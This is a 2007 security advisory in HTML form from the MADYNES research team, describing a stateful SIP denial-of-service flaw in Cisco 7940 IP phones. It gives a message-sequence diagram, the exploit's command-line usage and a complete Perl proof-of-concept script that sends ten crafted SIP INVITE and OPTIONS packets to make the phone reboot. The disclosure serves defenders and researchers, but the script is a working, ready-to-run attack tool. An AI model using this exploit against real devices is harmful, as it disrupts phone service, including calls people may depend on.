<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:st1="urn:schemas-microsoft-com:office:smarttags" xmlns="http://www.w3.org/TR/REC-html40">
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<meta name=Generator content="Microsoft Word 11 (filtered medium)">
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="PlaceType"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="PlaceName"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="place"/>
<!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
/* Font Definitions */
@font-face
{font-family:Wingdings;
panose-1:5 0 0 0 0 0 0 0 0 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:12.0pt;
font-family:"Times New Roman";}
a:link, span.MsoHyperlink
{color:blue;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{color:purple;
text-decoration:underline;}
p
{mso-margin-top-alt:auto;
margin-right:0in;
mso-margin-bottom-alt:auto;
margin-left:0in;
font-size:12.0pt;
font-family:"Times New Roman";}
span.EmailStyle17
{mso-style-type:personal-compose;
font-family:Arial;
color:windowtext;}
@page Section1
{size:595.3pt 841.9pt;
margin:70.85pt 70.85pt 70.85pt 70.85pt;}
div.Section1
{page:Section1;}
/* List Definitions */
@list l0
{mso-list-id:247157037;
mso-list-template-ids:-293574202;}
@list l0:level1
{mso-level-number-format:bullet;
mso-level-text:\F0B7;
mso-level-tab-stop:.5in;
mso-level-number-position:left;
text-indent:-.25in;
mso-ansi-font-size:10.0pt;
font-family:Symbol;}
@list l1
{mso-list-id:566767589;
mso-list-template-ids:535710460;}
@list l1:level1
{mso-level-number-format:bullet;
mso-level-text:\F0B7;
mso-level-tab-stop:.5in;
mso-level-number-position:left;
text-indent:-.25in;
mso-ansi-font-size:10.0pt;
font-family:Symbol;}
@list l2
{mso-list-id:1640841892;
mso-list-template-ids:-1691044848;}
@list l2:level1
{mso-level-number-format:bullet;
mso-level-text:\F0B7;
mso-level-tab-stop:.5in;
mso-level-number-position:left;
text-indent:-.25in;
mso-ansi-font-size:10.0pt;
font-family:Symbol;}
ol
{margin-bottom:0in;}
ul
{margin-bottom:0in;}
-->
</style>
</head>
<body lang=FR link=blue vlink=purple>
<div class=Section1>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>MADYNES Security Advisory : stateful
SIP remote DOS on Cisco 7940<o:p></o:p></span></font></p>
<p><b><font size=3 face="Times New Roman"><span lang=EN-US style='font-size:
12.0pt;font-weight:bold'>Date of Discovery 4 April</span></font></b><span
lang=EN-US>, 2007<br>
<br>
<b><span style='font-weight:bold'>ID: </span></b>KIPH6<br>
<br>
<b><span style='font-weight:bold'>Synopsis</span></b><o:p></o:p></span></p>
<p><font size=3 face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'>After
sending a series of ten SIP messages the device reboots. The phone does not
check properly the state engine in the SIP stack<br>
The vendor was informed in April 2007 and acknowledged the vulnerability. This
vulnerability was identified by the Madynes research team at INRIA Lorraine,
using the Madynes VoIP fuzzer KIPH. This is one of the first vulnerabilities published
where advanced state tracking is required.<br>
<br>
<b><span style='font-weight:bold'>Background </span></b><o:p></o:p></span></font></p>
<ul type=disc>
<li class=MsoNormal style='color:black;mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;mso-list:l2 level1 lfo1'><font size=3 color=black
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt;
color:windowtext'>SIP is the IETF standardized (RFCs 2543 and 3261)
protocol for VoIP signalization. SIP is an ASCII based INVITE message is
used to initiate and maintain a communication session. <br>
<br>
<br>
<b><span style='font-weight:bold'>Affected devices:</span></b> Cisco phone
7940 (maybe other also) running firmware </span></font><span lang=EN-US>P0S3-08-6-00
<o:p></o:p></span></li>
</ul>
<p><font size=3 face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p style='margin-bottom:12.0pt'><b><font size=3 face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;font-weight:bold'>Impact :<br>
</span></font></b><span lang=EN-US>A malicious user can remotely crash and
perform a denial of service attack by sending ten crafted SIP messages. <br>
<br>
<b><span style='font-weight:bold'>Resolution<br>
</span></b>Fixed software will be available from the vendor and customers following
recommended best practices (ie segregating VOIP traffic from data) will be
protected from malicious traffic in most situations. <br>
<br>
<b><span style='font-weight:bold'>Credits</span></b><o:p></o:p></span></p>
<ul type=disc>
<li class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
mso-list:l1 level1 lfo2'><font size=3 face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt'>Humberto J. Abdelnur (Ph.D Student)<o:p></o:p></span></font></li>
<li class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
mso-list:l1 level1 lfo2'><st1:place w:st="on"><st1:PlaceName w:st="on"><font
size=3 face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'>Radu</span></font></st1:PlaceName><span
lang=EN-US> <st1:PlaceType w:st="on">State</st1:PlaceType></span></st1:place><span
lang=EN-US> (Ph.D)<o:p></o:p></span></li>
<li class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
mso-list:l1 level1 lfo2'><font size=3 face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt'>Olivier Festor (Ph.D)<o:p></o:p></span></font></li>
</ul>
<p><font size=3 face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'><br>
This vulnerability was identified by the Madynes research team at INRIA
Lorraine, using the Madynes VoIP fuzzer KIPH<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><br>
Configuration of our device:<o:p></o:p></span></font></p>
<ul type=disc>
<li class=MsoNormal style='color:black;mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;mso-list:l0 level1 lfo3'><font size=3 color=black
face="Times New Roman"><span style='font-size:12.0pt'>Current Firmware
: P0S3-08-6-00 <o:p></o:p></span></font></li>
<li class=MsoNormal style='color:black;mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;mso-list:l0 level1 lfo3'><font size=3 color=black
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'>IP-Address
obtained by DHCP as 192.168.1.8 <o:p></o:p></span></font></li>
<li class=MsoNormal style='color:black;mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;mso-list:l0 level1 lfo3'><font size=3 color=black
face="Times New Roman"><span style='font-size:12.0pt'>User Name: 7940-3<o:p></o:p></span></font></li>
</ul>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>Vulnerability:<br>
<br>
It is based in a sequence of 10 messages, any of the particular messages may
do any harm by itself, but all of them turn the device in an inconsistent
state. The sequence is like:<br>
<br>
<br>
<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><br>
X ------------------------- INVITE -----------------------> Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X -------------------------
OPTIONS--------------------> Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------------- 200 OK
------------------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X -------------------------
OPTIONS--------------------> Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------------- 200 OK
------------------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X ------------------------- INVITE
-----------------------> Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X -------------------------
OPTIONS--------------------> Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 404 Not Found
------------------ Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 400 Bad Request
--------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X -------------------------
OPTIONS--------------------> Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------------- 200 OK
------------------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X ------------------------- INVITE
-----------------------> Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <----------------100 Trying
------------------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 404 Not Found
------------------ Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 404 Not Found
------------------ Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 404 Not Found
------------------ Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X -------------------------
OPTIONS--------------------> Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------------- 200 OK
------------------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 404 Not Found
------------------ Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X -------------------------
OPTIONS--------------------> Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------------- 200 OK
------------------------- Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>X <--------------- 404 Not Found
------------------ Cisco<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>...<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>And the device reboots after a few seconds.<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>Exploit:<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>To run the exploit the file stateful-cisco-8.6.pl
should be launched (assuming our configurations) as:<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>perl stateful-cisco-8.6-v2.pl 192.168.1.8 5060 7940-3
192.168.1.2<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>It approximatively takes less than 2 minutes to reboot
the device after the script is launched.<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>The script is simple and does not check if which
messages are received, but just wait some time before send the next one.</span></font><font
size=2 face=Arial><span lang=EN-US style='font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>POC Code <o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>#!/usr/bin/perl<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>use IO::Socket::INET;<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>die "Usage $0 <dst-address>
<dst-port> <dst_username> <src-address>" unless
($ARGV[3]);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket=new
IO::Socket::INET->new(PeerPort=>$ARGV[1],<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'> Proto=>'udp',<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'> PeerAddr=>$ARGV[0]);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "INVITE sip:$ARGV[2]\@$ARGV[0]
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];branch=01;rport\r\nFrom:
<sip:tucu\@$ARGV[3]>;tag=01\r\nTo:
<sip:$ARGV[2]\@invalidURL>\r\nCall-ID: 01\@$ARGV[3]\r\nCSeq: 7532
INVITE\r\nMax-Forwards: 70\r\nAllow: INVITE, ACK, CANCEL, OPTIONS, BYL, REFER,
SUBSCRIBE, NOTIFY\r\nContent-Type: application/sdp\r\nContent-Length:
215\r\n\r\nv=0\r\no=r`ot 7213 7244 IN IP4 192.168.1.101\r\ns=session\r\nc=IN
IP4 192.168.1.101\r\nt=0 0\r\nm=aIdio 8000 RTP/AVP 0 101\r\na=rtpmau:0
PCMU/8000\r\na=rtpmap:101 telephone-event/80 0\r\na=fmtp:101
0-16\r\na=silenceSupp:off - - - -\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>sleep(8.2);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "OPTIONS sip:$ARGV[2]\@$ARGV[0]
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax-Forwards: 70\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]>\r\nFrom: <sip:tucu\@$ARGV[3]>;tag=02\r\nCall-ID:
02\@$ARGV[3]\r\nCSeq: 79 OPTIONS\r\nAccept: application/sdp\r\nContent-Length:
0\r\n\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>sleep(1.5);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "OPTIONS sip:$ARGV[2]\@$ARGV[0]
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax-Forwards: 70\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]>\r\nFrom:
<sip:tucu\@$ARGV[3]>;tag=03\r\nCall-ID: 01\@$ARGV[3]\r\nCSeq: 15853
OPTIONS\r\nAccept: application/sdp\r\nContent-Length: 0\r\n\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>sleep(3.3);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "INVITE sip:$ARGV[2]\@$ARGV[0]
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax-Forwards: 70\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]>\r\nFrom:
<sip:tucu\@$ARGV[3]>;tag=04\r\nCall-ID: 04\@$ARGV[3]\r\nCSeq: 36688
INVITE\r\nContent-Type: application/sdp\r\nAllow: INVITE, ACK, BTE, CANCEL,
OPTIONS, PRACK, REFEY, NOTIFY, SUBSCRIBE, INFO\r\nSupported:
100rel\r\nUser-Agent: Twinkle/0.9\r\nContent-Length:
314\r\n\r\nv=0\r\no=0231555775 2006994253 1729335607 IN IP4
192.168.1.101\r\ns=-\r\nc=IN IP4 192.168.1.101\r\nt=0 0\r\nm=audio 8002 RTP/AVP
98 97 8 0 3 101\r\na=rtpmap:98 speex/16000\r\na=rtpmap:97
peex/80-0\r\na=rtpmap:8 PCMA/8000\r\na=rtpmap:0 PCMU/8000\r\na=rtpma\x00:3
GSM/8000\r\na=rtpmap:101 telephone-event/8000\r\na=fmtp:101
0-15\r\na=ptime:20\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>sleep(4);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "OPTIONS sip:$ARGV[2]\@invalidURL
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax-Forwards: 70\r\nTo:
<sip:$ARGV[2]\@invalidURL>\r\nFrom:
<sip:tucu\@$ARGV[3]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nCSeq: 21013
OPTIONS\r\nAccept: application/sdp\r\nContent-Length: 0\r\n\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>sleep(4);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "OPTIONS sip:$ARGV[2]\@invalidURL
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax-Forwards: 70\r\nTo:
<sip:$ARGV[2]\@invalidURL>\r\nFrom:
<sip:tucu\@$ARGV[3]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nCSeq: 18031
OPTIONS\r\nAccept: application/sdp\r\nContent-Length: 0\r\n\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>sleep(12);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "OPTIONS sip:$ARGV[2]\@$ARGV[0]
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax-Forwards: 70\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]>\r\nFrom:
<sip:tucu\@$ARGV[3]>;tag=07\r\nCall-ID: 07\@$ARGV[3]\r\nCSeq: 41664
OPTIONS\r\nAccept: application/sdp\r\nContent-Length: 0\r\n\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>sleep(3);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "INVITE sip:invaliduser\@$ARGV[0]
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];branch=02;rport\r\nFrom:
<sip:tucu\@$ARGV[3]>;tag=08\r\nTo:
<sip:7440-2\@$ARGV[0]>\r\nContact: <sip:tucu\@$ARGV[3]>\r\nCall-ID:
08\@$ARGV[3]\r\nCSeq: 35502 INVITE\r\nMax-Forwards: 70\r\nAllow: INVITE, ACK,
CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY\r\nContent-Type:
application/sdp\r\nContent-Length: 286\r\n\r\nv=0\r\no=root 7213 7217 IN IP4
192.168.1.4\r\ns=session\r\nc=IN IP4 192.168.1.4\r\nt=0 0\r\nm=audio 19024
RTP/AVP 0 3 8 97 101\r\na=rtpmap:0 PCMU/8000\r\na=rtpmap:3/GSM/8000\r\na=rtpmIp:8
PCMA/8000\r\na=rtpmap:97 spee8/8000\r\na=rtpmap:101
telephone-event/8000\r\na=fmtp:101 0-16\r\na=silenceSupp:off - - - -\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>sleep(3);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "OPTIONS sip:$ARGV[2]\@$ARGV[0]
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax-Forwards: 70\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]>\r\nFrom:
<sip:tucu\@$ARGV[3]>;tag=09\r\nCall-ID: 09\@$ARGV[3]\r\nCSeq: 18883
OPTIONS\r\nAccept: application/sdp\r\nUser-Agent:
Twinkle/0.9\r\nContent-Length: 0\r\n\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>sleep(3);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$msg = "OPTIONS sip:$ARGV[2]\@$ARGV[0]
SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax-Forwards: 70\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]>\r\nFrom:
<sip:tucu\@$ARGV[3]>;tag=10\r\nCall-ID: 10\@$ARGV[3]\r\nCSeq: 6298
OPTIONS\r\nAccept: application/sdp\r\nContent-Length: 0\r\n\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'><o:p> </o:p></span></font></p>
</div>
</body>
</html>